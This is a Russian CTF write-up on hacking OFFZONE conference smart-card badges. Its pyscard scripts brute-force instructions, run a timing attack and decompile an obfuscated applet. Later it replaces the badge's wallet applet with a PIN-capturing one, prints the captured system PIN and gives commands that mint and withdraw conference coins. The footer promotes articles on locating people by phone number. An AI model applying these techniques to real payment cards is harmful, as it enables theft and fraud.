Взлом смарт-карт OFFZONE Badge Challenge
LOCKNET![](/file/7c5f12b31fd69e9e0ceba.png)
![](/file/8ae2375f1a7058381b270.png)
Добрый вечер, друзья! Однажды на OFFZONE была серия задач на смарт-карте с интерфейсом ISO/IEC 7816. Особо внимательных даже предупредили заранее. Тут опубликовали фотографию бейджа и прямо заявили, что «бейдж можно будет взломать, если вам это будет по силам». Нам оказалось это по силам, и из этой статьи ты узнаешь — как. Приступим!
Эта статья написана только для образовательных целей. Автор не публиковал эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор не несёт ответственность за любой причиненный вред или ущерб.
Чтобы решать задачи, нужно было иметь подходящий картридер. Те, кто пришел на конференцию неподготовленным, имели возможность приобрести картридер в «Лавке старьевщика» за OFFCOIN или российские рубли. Правда, продавалось всего 30 ридеров, и их быстро разобрали.
Описание задач было приведено на этой странице.
![](/file/2422b5310ce26eb674cde.png)
Официальные задания
Авторы заданий сделали очень хорошее «краткое введение» в терминологию, базовые принципы и популярные инструменты.
Как работать с картой?
Общение со смарт-картами ведется при помощи USB-картридеров, которые можно найти в GAME.ZONE, а также купить в «Лавке старьевщика». APDU-команда
Пакеты, которые воспринимает карта, называются APDU-командами. APDU-команда представляет собой последовательность 4-байтового заголовка и данных команды.
Общий формат APDU-команды:
- [CLA INS P1 P2 Lc DATA Le]
- CLA (Instruction class) определяет тип посылаемой команды.
- INS (Instruction code) определяет конкретную команду внутри класса.
- P1, P2 (Parameter 1/2) являются аргументами команды.
- Lc (Length of command data) определяет размер данных в поле DATA.
- DATA (?) содержит в себе Lc байт данных команды.
- Le (Length of expected data) определяет размер данных, которые ожидается получить в ответе карты. Команда обязательно содержит 4 первых байта, остальные байты опциональны.
В ответ мы получаем код ошибки, состоящий из 2 байт (SW1, SW2), и опциональное поле данных размера <= Le байт.
Для отправки APDU-команд удобно пользоваться библиотекой pyscard для Python. Например, так выглядит код для получения серийного номера Java-карты:
from smartcard.System import readers from smartcard.util import * r = readers() reader = r[0x00] # Let's assume that we only have one reader connection = reader.createConnection() connection.connect() SELECT_MANAGEMENT = [0x00, 0xA4, 0x04, 0x00, 0x08] + [0xA0, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00] (data, sw1, sw2) = connection.transmit(SELECT_MANAGEMENT) GET_CPLC_DATA = [0x80, 0xCA, 0x9F, 0x7F, 0x00] (data, sw1, sw2) = connection.transmit(GET_CPLC_DATA) print data
Если давать высокоуровневое описание Java-карты, то она представляет собой совокупность Java-апплетов, которые выполняют определенные задачи. Апплеты идентифицируются с помощью уникального Applet Identifier (AID), задаваемого при разработке апплета.
По умолчанию Java-карта должна содержать Manager-апплет (AID = [0xA0, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00]), который используется для управления другими апплетами на карте. Задания также представляют собой отдельные апплеты. Перед началом работы с апплетом нужно выполнить команду SELECT и AID апплета (AID=[…]; SELECT_APPLET = [0x00, 0xA4, 0x04, 0x00] + [len(AID)] + AID).
В качестве основного способа общения с картой предполагалось использовать язык Python и библиотеку pyscard. Небольшая сложность, с которой лично я столкнулся на начальном этапе, была в том, что я не нашел готового инсталлятора и не справился со сборкой pyscard под Python 3.7. А после установки старой версии pyscard 1.7.0 под Python 2.7 выяснилось, что простейшие примеры из документации pyscard падают с ошибкой. Зато связка pyscard 1.9.3 и Python 3.6.7 x64 заработала сразу и без нареканий.
Так как во всех заданиях требовалось выполнять однотипные действия (инициализация, отсылка APDU-команд и получение результатов), мне показалось правильным реализовать базовые функции в виде класса.
from smartcard.System import readers def hx(ab): return ".".join("%02X" % v for v in ab) # Convert bytes to hex def sx(ab): return "".join(chr(v) for v in ab) # Convert bytes to string SELECT_APPLET = [0x00, 0xA4, 0x04, 0x00] class OFFZONE(object): dCmds = { # List of known commands (for debugging) hx(SELECT_APPLET): "SELECT_APPLET", } def __init__(self, ind=0): self.DBG = False self.r = readers() if self.DBG: if self.r: print("Readers:") for i, v in enumerate(self.r): print("%3d: %s" % (i, v)) else: print("No readers") self.conn = self.r[ind].createConnection() self.conn.connect() def exch(self, cmd, arg=None): # Perform APDU command exchange if self.DBG: msg = [self.dCmds.get(hx(cmd), hx(cmd))] if arg is not None: msg.append(hx(arg)) print("Send: %s" % " + ".join(msg)) ext = [] if arg is None else [len(arg)] + list(arg) data, sw1, sw2 = self.conn.transmit(cmd + ext) if self.DBG: print("Recv: %02X.%02X + [%s]" % (sw1, sw2, hx(data))) return data, sw1, sw2 def select(self, AID): # Select applet by AID or task index if isinstance(AID, int): # Task index provided AID = [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x30+AID, 0x10, 0x01] return self.exch(SELECT_APPLET, AID) def command(self, cla, ins, arg=None): # Execute command cmd = [cla, ins, 0, 0] return self.exch(cmd, arg) def main(): oz=OFFZONE() ## Task1(oz) ## Task2(oz) ## Task3(oz) ## Task4(oz)
Training Mission
Получите основные навыки для работы с Java-картой. Похоже, при переносе описания задания затерлась часть информации, и мы потеряли корректный номер INS.
AID: [0x4f, 0x46, 0x46, 0x5a, 0x4f, 0x4e, 0x45, 0x31, 0x10, 0x01] CLA: 0x10 INS: 0x??: getFlag: [0x10, 0x??, 0x00, 0x00] 0xE0: checkFlag(flag): [0x10, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag)
В первой задаче требовалось найти однобайтовое значение INS, и очевидно, что проще всего это было сделать перебором 256 возможных вариантов.
Решение
def Task1(oz): print("\nTask #1 (Training Mission)") oz.select(1) CLA = 0x10 INS_CheckFlag = 0xE0 for INS_GetFlag in range(0x100): data, sw1, sw2 = oz.command(CLA, INS_GetFlag) if 0x90 == sw1 and 0x00 == sw2 and data: print("INS_GetFlag=0x%02X, Flag: %s" % (INS_GetFlag, repr(sx(data)))) data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data) print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data))) break else: print("INS_GetFlag value not found")
Легко заметить, что на большинство запросов (с неподдерживаемыми значениями INS) в качестве статуса ответа (sw1 и sw2) возвращаются значения 0x6D
и 0x00
. Если свериться с таблицей кодов APDU-ответов, становится понятно, что 6D 00 соответствует ошибке Instruction code not supported or invalid. Для правильного запроса возвращается статус 90 00
и флаг.
![](/file/db111a012c3e8068abddf.png)
Vault Warehouse Management System
Убежище — это сложный инженерный объект, который позволяет людям выживать в условиях ядерной войны. Тебе предстоит оптимизировать хранение припасов в условиях ограниченного пространства. Перемести коробки с провиантом в специально предназначенные для этого места.
AID: [0x4f, 0x46, 0x46, 0x5a, 0x4f, 0x4e, 0x45, 0x32, 0x10, 0x01] CLA: 0x10 INS: * 0x20, move() — задать направление движения. В APDU необходимо передать один байт с указанием направления: * a (0x61) — влево, * d (0x64) — вправо, * w (0x77) — вверх, * s (0x73) — вниз. Пример движения влево: apdu = `[0x10, 0x20, 0x00, 0x00, 0x01, 0x61]`. * *0x30: getGameState() — получить текущий статус (получить карту в виде списка из 108 байт). Игровое поле 12x9. `apdu = [0x10, 0x30, 0x00, 0x00, 0x00]`. Легенда: * ты — «H» (0x48), * стена — «#» (0x23), * коробки с провиантом — «O» (0x4f), * специально отведенное место для хранения — «.» (0x2e), * свободное пространство — « » (0x20). Если ты успешно оптимизировал хранение в паре залов, в ответ на запрос получишь флаг. * 0x40: reset() — если попал в безвыходную ситуацию. apdu = [0x10, 0x40, 0x00, 0x00, 0x00] * 0x50: getFlag() apdu = [0x10, 0x50, 0x00, 0x00, 0x00] * 0xE0: checkFlag(flag) apdu = [0x10, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag)
В этом задании предлагают поиграть в Sokoban. Ничего технически сложного делать не требуется. Если послать команду getGameState(), в ответ пришлют картинку с полем. Посылая команду move(), можно изменять состояние поля. Как только новое состояние совпадет с решением (все коробки с провиантом на отведенных местах), getGameState() вернет картинку со следующим уровнем (их всего два).
############# ############ ###### #### # # # #### O # #### ###### # #### # . ### # # # # #### H# ### # #.## ####O#. ### ##O######.## ##### ##### # O H # ############# # ### # ############# ############
После решения второго уровня getGameState() вернет флаг.
Делать полный автомат было лень, поэтому я решил написать интерактивную программу, которая клавишами awsd позволяла двигаться, при нажатии на r вызывала reset(), а при нажатии на любую другую клавишу завершала работу.
from msvcrt import getch def Task2(oz): print("Task #2 (Vault Warehouse Management System)") oz.select(2) CLA = 0x10 INS_Move = 0x20 INS_GetState = 0x30 INS_Reset = 0x40 INS_GetFlag = 0x50 INS_CheckFlag = 0xE0 while True: data, sw1, sw2 = oz.command(CLA, INS_GetState) if len(data) != 12*9: break print() for o in range(0, len(data), 12): print(sx(data[o:o+12])) # Show field ch = ord(getch()) if chr(ch) in ("awsd"): oz.command(CLA, INS_Move, [ch]) # Make move elif ord('r') == ch: oz.command(CLA, INS_Reset) # Reset field else: return # Quit print("Final state: %s" % sx(data)) data, sw1, sw2 = oz.command(CLA, INS_GetFlag) if 0x90 == sw1 and 0x00 == sw2 and data: print("Flag == %s" % repr(sx(data))) data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data) print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))
Под Windows удобно было использовать getch из библиотеки msvcrt. Под Unix можно воспользоваться модулем getch.py.
Для совсем ленивых — вот последовательность ходов для первого уровня:
aaawwdassdddwdwwaasswaassddwdddssaawssaawsddwwawwaassddwds
И для второго:
aaaaasaawwssddwdddddwwwwaassaaaawaasdssddddddsdwwwwdwaadssssaaaaaaawwwddsddwwwdsassaaawasswddddwwdddssssaaaaaasaawdwwdddddwawddassaaaaasssddwdddddwwwdwwasswaassaaaaassddddddsdw
А если захочется поиграть сначала — нужно опять вызвать reset
Comparer 2000
Эта программа досталась нам от предков вида Macaca JSus. Они не умели оптимизировать код, и их программы работали медленно.
AID: [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x33, 0x10, 0x01]
CLA: 0x10 INS: * 0x20: checkStr(str): apdu = [0x10, 0x20, 0x00, 0x00, 0xNN] + STR (0xNN bytes of STR). Ответ: SW_WRONG_PIN_LEN = 0x6420; SW_WRONG_PIN = 0x6421; * 0x30: getFlag(): apdu = [0x10, 0x30, 0x00, 0x00, 0x20] * 0xE0: checkFlag(flag): apdu = [0x10, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag)
В условии этой задачи дается подсказка, что надо сначала подобрать длину строки (пока не вернут статус 64 21
), а потом использовать Timing Attack (чем больше правильных символов, тем дольше будет идти проверка).
Решение
import time def Task3(oz): print("\nTask #3 (Comparer 2000)") oz.select(3) CLA = 0x10 INS_CheckStr = 0x20 INS_GetFlag = 0x30 INS_CheckFlag = 0xE0 for ccKey in range(1, 16): # Guess length data, sw1, sw2 = oz.command(CLA, INS_CheckStr, [0]*ccKey) if 0x64 == sw1 and 0x21 == sw2: print("len(Key)=%X" % ccKey) break else: print("Can't guess key length") abKey = bytearray(ccKey) for iKey in range(ccKey): # Walk positions bestTime = 0 bestChar = 0 for i in range(0x100): # Test all possible values abKey[iKey] = i start = time.time() # Start measure time oz.command(CLA, INS_CheckStr, abKey) delta = time.time() - start # Calc command execution time if delta > bestTime: # Memorize best value bestTime = delta bestChar = i abKey[iKey] = bestChar print(hx(abKey[:iKey+1]), end='\r') print data, sw1, sw2 = oz.command(CLA, INS_CheckStr, abKey) if 0x90 == sw1 and 0x00 == sw2: print("Key %s is OK" % hx(abKey)) data, sw1, sw2 = oz.exch([CLA, INS_GetFlag, 0, 0, 0x20]) if 0x90 == sw1 and 0x00 == sw2 and data: print("Flag == %s" % repr(sx(data))) data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data) print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data))
Убежище 42
Подбери верный ключ и попади в убежище 42! AID: [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x34, 0x10, 0x01] CLA: 0x20 INS: * 0x04: checkLoginAndPassword(login_and_password) apdu = [0x20, 0x04, 0x00, 0x00, 0xNN] + data (0xNN bytes of data) * 0xE0: checkFlag(flag) apdu = [0x20, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag) https://ctf.bi.zone/files/applet.cap
Из текста задания очевидно, что надо проанализировать applet.cap и извлечь алгоритм проверки пароля. Поиск в Google приводит на страничку с документацией Oracle, где упоминается утилита normalizer.bat. Ставим Java Card SDK и выполняем следующие команды (пути могут быть другими!):
SET JAVA_HOME=C:\Program Files\Java\jdk1.8.0_191 SET JCDK=C:\Program Files (x86)\Oracle\Java Card Development Kit 3.0.5u3 "%JCDK%\bin\normalizer.bat" normalize -i applet.cap -p "%JCDK%\api_export_files"
Но, к сожалению, запуск normalizer.bat завершается ошибкой:
[ INFO: ] Cap File to Class File conversion in process. In method Descriptor[43]/Method[15]: At PC 0: Bad branch to PC 3 from PC 0
Из сообщения об ошибке можно сделать вывод, что скомпилированный код в файле applet/javacard/Method.cap из applet.cap содержит по адресу 0 неправильный переход на адрес 3 (в середину инструкции). Поискав java card instruction set, легко выяснить, что опкод 0x70 соответствует инструкции goto.
Заглянув внутрь applet/javacard/Method.cap при помощи шестнадцатеричного редактора, можно заметить, что довольно часто встречается последовательность байт 70 03 xx
и именно она «ломает» работу normalizer.bat — xx интерпретируется как начало следующей инструкции после двухбайтовой инструкции 70 03
(goto PC+3).
Кстати, подобный прием (переход в середину инструкции) часто используется и в Native-коде для запутывания дизассемблера.
В случае Java Card устранить проблему довольно просто — надо на место всех xx
вставить 00
— однобайтовый опкод инструкции nop. Это легко сделать на Python, используя модули zipfile
и re
.
import zipfile, re with zipfile.ZipFile("applet.cap") as zin: with zipfile.ZipFile("applet_fixed.cap", "w") as zout: for item in zin.infolist(): ab = zin.read(item.filename) if item.filename.endswith("Method.cap"): ab = re.sub("p\3.", "p\3\0", ab.decode("latin1")).encode("latin1") zout.writestr(item, ab)
После этого надо повторно запустить normalizer.bat
(поменяв имя входного файла на applet_fixed.cap
). И, несмотря на новое сообщение об ошибке, в поддиректории applet появится файл AAA.class
, который можно обработать любым декомпилятором Java (например, старым добрым jad.exe
) и получить исходный текст, пригодный для анализа.
Все самое интересное происходит в методе method_token255_descoff79(). На вход он принимает 16-байтовый массив (login), а возвращает другой 16-байтовый массив (password). И именно эти два массива надо передать в APDU-команду checkLoginAndPassword(). Код вычисления password из login похож на кусочки AES. Но разбираться с тем, как он работает, необязательно — достаточно или переписать его на привычный язык (например, Python), или слегка подправить и скомпилировать исходник на Java.
Решение
def aRol(a, n): return a[n:] + a[:n] def bX(b): return ((b << 1) ^ 0x1B) & 0xFF def bB(b): return bX(b) ^ b def transform(a0, a1, a2, a3): o0 = [((bX(a0[i]) ^ bB(a1[i])) ^ a2[i]) ^ a3[i] for i in range(4)] o1 = [((a0[i] ^ bX(a1[i])) ^ bB(a2[i])) ^ a3[i] for i in range(4)] o2 = [((a0[i] ^ a1[i]) ^ bX(a2[i])) ^ bB(a3[i]) for i in range(4)] o3 = [((bB(a0[i]) ^ a1[i]) ^ a2[i]) ^ bX(a3[i]) for i in range(4)] return o0 + o1 + o2 + o3 def PwdFromLogin(login): ab = [(login[i] - 3*i) & 0xFF for i in range(16)] a0 = aRol(ab[0:4], 1) a1 = aRol(ab[4:8], 2) a2 = aRol(ab[8:12], 3) a3 = aRol(ab[12:16], 1) ab = transform(a0, a1, a2, a3) return [(ab[i] + 127*(i+1)) & 0xFF for i in range(16)] def Task4(oz): print("\nTask #4 (Shelter 42)") oz.select(4) CLA = 0x20 INS_CheckLoginAndPassword = 0x04 INS_CheckFlag = 0xE0 login = [i for i in range(16)] pwd = PwdFromLogin(login) data, sw1, sw2 = oz.command(CLA, INS_CheckLoginAndPassword, login+pwd) if 0x90 == sw1 and 0x00 == sw2 and data: print("Flag == %s" % repr(sx(data))) data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data) print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))
SmartCardTanks
Для начала хотелось бы отметить, что организаторы выбрали очень интересный формат распределения сувениров и активностей для зарабатывания OFFCOIN, атмосфера на конференции из-за этого сложилась особенная. Велотрек, настольный зомби-кикер, тотализатор и прочее — все это не обошло и нас. Поскольку картридеров у нас не было, то решили для получения заветного картридера, раз их так мало, общими усилиями во что бы то ни стало накрутить педали и выиграть максимальное количество «футбольных» соперников, а затем купить девайс за OFFCOIN и впервые окунуться в мир Java-апплетов.
Игрокам необходимо реализовать игровую логику своего танка так, чтобы в ответ на запрос хода их карты передавали желаемые направления перемещения и стрельбы подконтрольного танка. Если ответ на запрос хода будет некорректным, танк игрока не станет перемещаться или стрелять. AID: [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x35, 0x10, 0x01] CLA: 0x80 INS: * 0x99: readySteady(check) * Параметры: BYTE check — целое число в диапазоне (0–100). * Ответ: BYTE check_response — целое число, равное check+1. * 0x66: getMap() * Параметры: BYTE[32] map — игровое поле в битовом представлении (слева направо и сверху вниз). * Например, переданы значения [0xFF, 0xFF, 0x80, 0x01, 0x93, 0x81, ...]. Тогда участок поля, описываемый этими значениями, имеет следующий вид в битовом представлении: 1111111111111111 1000000000000001 1001001110000001 ... 1 означает неразрушимую и непроходимую стену. 0 означает поверхность, по которой можно перемещаться. Ответ: BYTE[2] map_response — всегда равен [0x4f, 0x4b] ('OK'). * 0x33: getNextStep(step). Параметры: * BYTE step — текущий игровой ход (200 -> 0). * BYTE player_x — координата Х игрока (0 -> 15). * BYTE player_y — координата Y игрока (0 -> 15). * BYTE player_lives — число жизней игрока (3 -> 0). * BYTE player_fuel — количество топлива игрока (255 -> 0). * BYTE player_rockets — число ракет игрока (255 -> 0). * BYTE enemy_x — координата Х противника (0 -> 15). * BYTE enemy_y — координата Y противника (0 -> 15). * BYTE enemy_lives — число жизней противника (3 -> 0). * BYTE enemy_fuel — количество топлива противника (255 -> 0). * BYTE enemy_rockets — число ракет противника (255 -> 0). * BYTE bonus_count — число бонусов на карте на текущий ход (2 -> 0). * BONUS[bonus_count] — список описаний бонусов (от 0 до 2 элементов, в зависимости от количества бонусов на карте). * BYTE bonus_x — координата Х бонуса (0 -> 15). * BYTE bonus_y — координата Y бонуса (0 -> 15). * BYTE bonus_type — тип бонуса (0 — бонус топлива, 1 — бонус ракет). Ответ: * BYTE move_direction — направление перемещения игрока (0 — стоять на месте, 1 — двигаться вправо, 2 — двигаться вверх, 3 — двигаться влево, 4 — двигаться вниз). * BYTE shoot_direction — направление выстрела игрока (0 — не стрелять, 1 — стрелять вправо, 2 — стрелять вверх, 3 — стрелять влево, 4 — стрелять вниз). Код апплета, который уже залит на вашу карту, можно посмотреть по ссылке. Java-карты конференции совместимы с GlobalPlatform, и для установки, удаления и просмотра апплетов можно использовать GlobalPlatformPro. Например, чтобы получить список установленных апплетов, можно воспользоваться командой java -jar gp.jar --list -v
Задание (полное описание) заключалось в том, чтобы написать свой бот для управления танком, используя предоставляемый организаторами SmartCardTanksBot.java как шаблон для построения бота.
Внутри шаблона есть строки, которые подтвердили предположение относительно инструкции 0xA4
.
if (buffer[ISO7816.OFFSET_INS] == 0xA4) { return; }
После разработки бота управления танком нужно было использовать пакет GlobalPlatformPro, чтобы установить бот в системе. В описании задания указано, что апплеты можно не только устанавливать, но и просматривать уже установленные, а также удалять их.
Был получен список апплетов, установленных в системе.
![](https://xakep.ru/wp-content/uploads/2018/12/198654/image2.png#26132588)
Проанализировав список, можно выделить, что здесь представлены AID для всех пяти задач на карте, а также некий секретный апплет, который имеет AID:
SECRET = [0xA0, 0x00, 0x00, 0x00, 0x50, 0x10, 0x10, 0x50, 0x10, 0x01]
Судя по используемому AID и его похожести на родительский апплет, он, скорее всего, управляющий. Еще интересная особенность, что он имеет класс инструкций = 0x80, отличный от других, и в то же время такой же класс был у задачи с танками.
Исследование команд управляющего апплета
В управляющем апплете были найдены команды:
SECRET_Cmds = [(0x20,0x63,0x00),(0x30,0x63,0x01),(0x40,0x63,0x01), (0x50,0x67,0x00),(0x60,0x63,0x01),(0x70,0x63,0x01),(0x80,0x67,0x00), (0x90,0x63,0x01),(0xA0,0x67,0x00),(0xA4,0x90,0x00)]
Поскольку для некоторых команд код ошибки sw1, sw2 = 0x67, 0x00
, что означает «неверная длина данных», был выполнен перебор по этому полю.
Выяснилось, что во всех трех командах размер данных должен быть равен нулю. Также с помощью сравнения результатов работы этих команд для разных карточек было определено их предназначение.
Получение баланса
Ins = 0x50
— получение текущего баланса на карте.
Код для реализации команды простой.
BalanceIns = [0x80, 0x50, 0x00, 0x00, 0x00] def GetBalance(): data, sw1, sw2 = connection.transmit(SELECT_SECRET) print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2)) data, sw1, sw2 = connection.transmit(BalanceIns) print("----- Current Balance: %02u %02u" % (data[0], data[1]))
![](https://xakep.ru/wp-content/uploads/2018/12/198654/image3.png#26132588)
Получение статуса выполнения задач на карте
Ins = 0x80
— получение состояния задач на карте, решена или нет.
Код реализации такой:
TaskStateIns = [0x80, 0x80, 0x00, 0x00, 0x00] def GetTaskState(): data, sw1, sw2 = connection.transmit(SELECT_SECRET) print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2)) data, sw1, sw2 = connection.transmit(TaskStateIns) print("Current Task State:") print(data)
![](https://xakep.ru/wp-content/uploads/2018/12/198654/image4.png#26132588)
Как видим, решены первые четыре задачи из расположенных на карте.
Получение статуса выполнения логических задач
Ins = 0xA0
— получение некоторого состояния, как выяснилось позже — состояния решения логических задач в зоне BI.ZONE. Скрипт для вывода этой информации:
SomeLenIns = [0x80, 0xA0, 0x00, 0x00, 0x00] def GetSomeState(): data, sw1, sw2 = connection.transmit(SELECT_SECRET) print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2)) data, sw1, sw2 = connection.transmit(SomeLenIns) print("Current Some State:") print(data)
![](https://xakep.ru/wp-content/uploads/2018/12/198654/image5.png#26132588)
Всего задач девять. На данной карте ни одна из задач этого типа еще не решена.
Получается, что этот управляющий апплет отвечает за взаимодействие с банкоматом. По наблюдениям было замечено, что после решения задачи на карточке состояние задачи в управляющем апплете не менялось. Это значит, что банкомат считывал состояние, решена задача или нет, из апплета самой задачи, а затем устанавливал сам флаг и начислял деньги за решение задачи.
Итак, к этому моменту мы уже могли получать баланс карточки и состояние задач двух типов. И осталось несколько команд с неизвестным предназначением.
SECRET_UNK_Cmds = [(0x20,0x63,0x00), (0x30,0x63,0x01), (0x40,0x63,0x01), (0x60,0x63,0x01), (0x70,0x63,0x01), (0x90,0x63,0x01)]
Коды ошибок отличаются только у одной команды. Было сделано предположение, что эта команда 0x20 отвечает за некоторую авторизацию, а остальные за какие-то действия. Сами коды ошибок, начинающиеся с 0x63 в справочнике, обозначали варианты State of non-volatile memory changed
, что в данном контексте неинформативно.
Выяснилось, что управляющий апплет построен на базе типового Wallet-апплета. Описание и исходники типового Wallet можно найти в поисковике по фразе java card wallet.
Первое, что бросается в глаза в исходнике, — это знакомые коды ошибок
// signal that the PIN verification failed final static short SW_VERIFICATION_FAILED = 0x6300; // signal the the PIN validation is required // for a credit or a debit transaction final static short SW_PIN_VERIFICATION_REQUIRED = 0x6301;
Затем видим такой же класс 0x80 и коды типовых инструкций. Получение баланса совпадает с кодом, уже найденным нами. Предположение оказалось верным: 0x20
— команда верификации.
// code of CLA byte in the command APDU header final static byte Wallet_CLA = (byte)0x80; // codes of INS byte in the command APDU header final static byte VERIFY = (byte) 0x20; final static byte CREDIT = (byte) 0x30; final static byte DEBIT = (byte) 0x40; final static byte GET_BALANCE = (byte) 0x50;
Чтобы самостоятельно снимать и начислять деньги на карту, осталось найти правильный PIN, назовем его SystemPIN
.
Сначала мы решили попробовать получить SystemPIN с помощью аппаратного перехватчика, но по техническим причинам это не получилось. Благодарим организаторов — они подготовили специальный стенд, чтобы мы не экспериментировали на боевой системе.
Мы обратили внимание на следующее. Мы могли удалять и устанавливать любой апплет. Класс 0x80
совпадал у управляющего апплета и бота управления танчиками — думаю, в этом был некий намек от организаторов.
Возникла идея заменить управляющий апплет на свой, который будет только считывать PIN, сохранять его в памяти карты и возвращать его нам по запросу.
За основу был взят исходный код бота для танков SmartCardTanksBot.java
. В него мы добавили строки для сохранения у себя в памяти всего пакета передачи PIN. PIN передается, когда вставляешь карту в терминал.
final static byte VERIFY = (byte) 0x20; private void verify(APDU apdu) { byte[] buffer = apdu.getBuffer(); byte byteRead = (byte)(apdu.setIncomingAndReceive()); sniffedPIN[0] = byteRead; sniffedPIN[1] = (byte)buffer.length; for(short i = 0; i < buffer.length; i++) sniffedPIN[i + 2] = buffer[i] }
Также реализовали выдачу перехваченного пакета с PIN по нашему запросу.
final static byte GET_PIN = (byte) 0x77; private void getPin(APDU apdu) { byte[] buffer = apdu.getBuffer(); short le = apdu.setOutgoing(); apdu.setOutgoingLength((short)128); for(short i = 0; i < 128; i++) { buffer[i] = sniffedPIN[i+1]; } apdu.sendBytes((short)0, (short)128); }
Чтобы новая команда GET_PIN
заработала, в обработчик инструкций добавили:
public void process(APDU apdu) { byte[] buffer = apdu.getBuffer(); if (buffer[ISO7816.OFFSET_INS] == (byte)(0xA4)) { return; } else if (buffer[ISO7816.OFFSET_CLA] != APPLET_CLA) { ISOException.throwIt(ISO7816.SW_CLA_NOT_SUPPORTED); } switch (buffer[ISO7816.OFFSET_INS]) { case MOVE: sendMove(apdu); return; case MAP: getMap(apdu); return; case TEST: test(apdu); return; case VERIFY: verify(apdu); return; case GET_PIN: getPin(apdu); break; default: ISOException.throwIt(ISO7816.SW_INS_NOT_SUPPORTED); } }
Далее скомпилировали через JCIDE с нужным нам номером AID. Управляющий апплет, отвечающий за проверку PIN, был удален.
![](https://xakep.ru/wp-content/uploads/2018/12/198654/image6.png#26132588)
Затем вместо него был установлен апплет, подготовленный нами.
![](https://xakep.ru/wp-content/uploads/2018/12/198654/image7.png#26132588)
После этого карта уже не могла использоваться для конкурсов, начисления и снятия OFFCOIN, поскольку мы удалили оригинальный управляющий апплет. После нескольких испорченных таким образом карт нам удалось получить PIN. С помощью следующего скрипта получили с этой карты содержимое пакета, где был PIN:
GET_SYSTEM_PIN = [0x80, 0x77, 0x00, 0x00] def GetSystemPIN(): data, sw1, sw2 = connection.transmit(SELECT_SECRET) print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2)) data, sw1, sw2 = connection.transmit(GET_SYSTEM_PIN) print("Get System PIN Packet State: 0x%02X 0x%02X" % (sw1, sw2)) print(data)
На выходе получили следующее.
![](https://xakep.ru/wp-content/uploads/2018/12/198654/image8.png#26132588)
Здесь первые 4 байта — это заголовок запроса авторизации. Затем идет длина данных — 8 байт. Последующие 8 байт — значение PIN.
SystemPIN = [0xDB, 0X4D, 0XDE, 0X11, 0X6A, 0X27, 0X5B, 0X85]
На этом этапе нас объявили победителями конкурса.
Зачисление и снятие OFFCOIN
По пути в аэропорт мы попробовали реализовать верификацию, операции зачисления на карту и снятие с карты OFFCOIN. Опытным путем выявлено, что перед каждой операцией нужно проводить верификацию. Процедура, выполняющая это, имеет вид:
AuthIns = [0x80, 0x20, 0x00, 0x00] + [len(SystemPIN)] + SystemPIN def GetAuth(): data, sw1, sw2 = connection.transmit(SELECT_SECRET) data, sw1, sw2 = connection.transmit(AuthIns)
Например, зачисление 250 OFFCOIN на карту выполняется следующим кодом:
CreditIns = [0x80, 0x30, 0x00, 0x00] + [2] + [0x00, 0xFA] def MakeCredit(): data, sw1, sw2 = connection.transmit(SELECT_SECRET) print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2)) GetAuth() print(CreditIns) data, sw1, sw2 = connection.transmit(CreditIns) print("Credit Instruction State: 0x%02X 0x%02X" % (sw1, sw2))
![](https://xakep.ru/wp-content/uploads/2018/12/198654/image9.png#26132588)
Снятие 100 OFFCOIN с карты выполняется следующим кодом:
DebitIns = [0x80, 0x40, 0x00, 0x00] + [2] + [0x00, 0x64] def MakeDebit(): data, sw1, sw2 = connection.transmit(SELECT_SECRET) print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2)) GetAuth() print(DebitIns) data, sw1, sw2 = connection.transmit(DebitIns) print("Debit Instruction State: 0x%02X 0x%02X" % (sw1, sw2))
![](https://xakep.ru/wp-content/uploads/2018/12/198654/image10.png#26132588)
Опытным путем было установлено, что предел для карт с конференции — 5632 OFFCOIN.
Заключение
Благодарим организаторов за прекрасный, интересный и увлекательный конкурс. Решение его задач доставило много радости и веселья!
![](https://tgraph.io/file/94615533c883b3d0c50f6.png)
Предыдущие статьи:
Зарабатываем на собственных порно-сайтах
Зарабатываем 200к рублей на мужских достоинствах
Как узнать местонахождение человека по номеру
Как анонимно вывести свои деньги?
Другие статьи на нашем с вами любимом канале LOCKNET! Подписывайся, делись ссылкой на статью с друзьями!